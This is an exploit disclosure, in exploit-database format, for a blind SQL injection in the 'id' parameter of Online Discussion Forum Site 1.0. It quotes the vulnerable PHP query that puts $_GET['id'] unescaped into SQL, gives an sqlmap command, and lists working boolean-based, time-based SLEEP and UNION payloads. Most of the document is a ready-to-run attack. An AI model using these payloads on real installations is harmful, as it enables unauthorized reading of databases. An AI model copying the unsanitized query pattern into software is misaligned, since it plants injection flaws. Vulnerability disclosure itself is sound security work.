Online Discussion Forum Site 1.0 SQL Injection

# Exploit Title: Online Discussion Forum Site 1.0 - 'id' Blind SQL Injection# Date: 15/05/2022# Exploit Author: Saud Alenazi# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html# Version: 1.0# Tested on: XAMPP, Linux# Vulnerable Code:line 3 in file "/odfs/posts/view_post.php"$qry = $conn->query("SELECT p.*, u.username, u.avatar, c.name as `category` FROM `post_list` p inner join category_list c on p.category_id = c.id inner join `users` u on p.user_id = u.id where p.id= '{$_GET['id']}'");# Sqlmap command:sqlmap -u 'http://localhost/odfs/?id=1&p=posts/view_post' -p id --level=5 --risk=3 --dbs --random-agent --eta# Output:Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 5178=5178-- Iddj&p=posts/view_post    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 6535 FROM (SELECT(SLEEP(5)))amvG)-- ikmN&p=posts/view_post    Type: UNION query    Title: Generic UNION query (NULL) - 12 columns    Payload: id=-3669' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71716a7671,0x65776b4d4272577956694c6549674a64546761564c79566d556255634a426c7a66464e6e527a4779,0x71767a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&p=posts/view_post